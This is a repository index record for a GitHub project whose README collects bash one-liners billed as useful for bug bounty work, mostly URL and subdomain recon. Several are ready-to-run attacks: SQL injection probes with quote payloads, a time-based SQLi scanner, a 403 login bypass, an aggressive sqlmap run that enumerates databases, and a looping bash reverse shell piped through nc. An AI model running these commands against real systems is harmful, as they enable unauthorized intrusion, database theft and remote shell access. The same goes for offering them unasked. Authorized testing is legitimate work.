{"id":24539775,"url":"https://github.com/h3xploit0x1/1line-bash","last_synced_at":"2026-02-07T07:32:32.294Z","repository":{"id":272938883,"uuid":"860382351","full_name":"h3xploit0x1/1Line-BASH","owner":"h3xploit0x1","description":"Collection Of  Line BASH Useful for BugBounty.","archived":false,"fork":false,"pushed_at":"2025-01-17T14:26:51.000Z","size":13,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-15T06:28:42.999Z","etag":null,"topics":["bash","bugbounty","hacking"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/h3xploit0x1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-09-20T10:29:07.000Z","updated_at":"2025-01-17T14:26:53.000Z","dependencies_parsed_at":null,"dependency_job_id":"2856c8d5-ba55-45e8-9531-6e4da6a60f17","html_url":"https://github.com/h3xploit0x1/1Line-BASH","commit_stats":null,"previous_names":["h3xploit0x1/1line-bash"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/h3xploit0x1/1Line-BASH","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3xploit0x1%2F1Line-BASH","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3xploit0x1%2F1Line-BASH/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3xploit0x1%2F1Line-BASH/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3xploit0x1%2F1Line-BASH/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/h3xploit0x1","download_url":"https://codeload.github.com/h3xploit0x1/1Line-BASH/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3xploit0x1%2F1Line-BASH/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29189328,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-07T05:07:31.176Z","status":"ssl_error","status_checked_at":"2026-02-07T05:06:15.227Z","response_time":63,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","bugbounty","hacking"],"created_at":"2025-01-22T17:16:12.397Z","updated_at":"2026-02-07T07:32:32.289Z","avatar_url":"https://github.com/h3xploit0x1.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"## Simple 1Line #BASH For #BugBounty.\n\n```\nwaybackurls TARGET.COM | grep = | tee urls.txt | nuclei -dast\n```\n\n```\ngau TARGET.COM | grep = | tee urls.txt | nuclei -dast\n```\n\n\n## 1Line BASH To Perform #SQL_Injection For BugBounties.\n\n```\ncat urls.txt | grep \".php\" | sed 's/\\.php.*/.php\\//' | sort -u | sed s/$/%27%22%60/ | while read url do ; do curl --silent \"$url\" | grep -qs \"You have an error in your SQL syntax\" \u0026\u0026 echo -e \"$url \\e[1;32mVulnerable to SQLI Injection\\e[0m\" || echo -e \"$url \\e[1;31mNot Vulnerable to SQLI Injection\\e[0m\" ;done\n```\n\n\n## LazyEgg - Hunting JS Files.\n\n```\nwaybackurls target | grep '\\.js$' | awk -F '?' '{print $1}' | sort -u | xargs -I{} bash -c 'echo -e \"\\ntarget : {}\\n\" \u0026\u0026 python lazyegg[.]py \"{}\" --js_urls --domains --ips'\n```\n\n\n## Reverse Shell Bash Loop.\n\n```\nwhile true; do sleep 5 \u0026\u0026 mknod /dev/shm/p p; cat /dev/shm/p | /bin/bash -i | nc 127.0.0.1 9001 \u003e/dev/shm/p; done\n```\n\n\n## Find JavaScript Files.\n\n```\nassetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo \"var [a-zA-Zo-9_]+\" | sed -e 's, 'var','\"$url\"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/\u0026=xss/g'):echo -e \"\\e[1;33m$url\\n\" \"\\e[1;32m$vars\"; done\n```\n\n\n## Extract Endpoints from JavaScript.\n\n```\ncat FILE.js | grep -oh \"\\\"\\/[a-zA-Z0-9_/?=\u0026]*\\\"\" | sed -e 's/^\"//' -e 's/\"$//' | sort -u\n```\n\n## Find Subdomain.\n\n```\nsubfinder -d target.com -silent | httpx -silent -o urls.txt\n```\n\n\n## SQLi-TimeBased scanner.\n\n```\ngau TARGET.COM | sed 's/=[^=\u0026]*/=YOUR_PAYLOAD/g' | grep ?*= | sort -u | while read host;do (time -p curl -Is $host) 2\u003e\u00261 | awk '/real/ { r=$2;if (r \u003e= TIME_OF_SLEEP ) print h \" =\u003e SQLi Time-Based vulnerability\"}' h=$host ;done\n```\n\n\n## search javascript file.\n\n```\ngau -subs TARGET.COM |grep -iE '\\.js'|grep -iEv '(\\.jsp|\\.json)' \u003e\u003e js.txt\n```\n\n\n## 403 login Bypass.\n\n```\ncat hosts.txt | httpx -path /login -p 80,443,8080,8443 -mc 401,403 -silent -t 300 | unfurl format %s://%d | httpx -path //login -mc 200 -t 300 -nc -silent\n```\n\n\n## Recon Parameters.\n\n```\necho tesla.com | subfinder -silent | httpx -silent | cariddi -intensive\n```\n\n\n## Censys for a specific domain and extract IP addresses.\n\n```\ncensys search \"target.com\" --index-type hosts | jq -c '.results[] | {ip: .ip}' | grep -oE '[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+'\n```\n\n\n## Use Shodan in the terminal (CLI) to search for IPs.\n\n```\nshodan search \"Ssl.cert.subject.CN:\\\"target.com\\\"\" --fields ip_str | anew ips.txt\n```\n\n\n## One-Liner to Resolve and Save IP Addresses from Domains.Txt file.\n\n```\ncat live-domain.txt | httpx -ip -silent -timeout 10 | grep -o '[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}\\.[0-9]\\{1,3\\}' | tee domains-ips.txt\n```\n\n\n## Extract hidden parameters in JS file [after you download it).\n\n```\ncat main.js | grep -oE '(\"[^\"]*\"|'[^']*'|\\/[a-zA-Z0-9_/?=]+)' | sed -E 's/^[\"\\']|[\"\\']$//g' | sort -u\n```\n\n\n## Alternative method for finding SQL injectable endpoints using katana \n\n```\necho https://example.com | katana -d 5 -ps -pss waybackarchive,commoncrawl,alienvault -f qurl | uro | grep -E '.php|.asp|.aspx|.jspx|.jsp'\n```\n\n\n## Comprehensive SQL injection testing using sqlmap\n\n```\nsubfinder -d https://example.com -all -silent | gau | urldedupe | gf sqli \u003esql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fh3xploit0x1%2F1line-bash","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fh3xploit0x1%2F1line-bash","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fh3xploit0x1%2F1line-bash/lists"}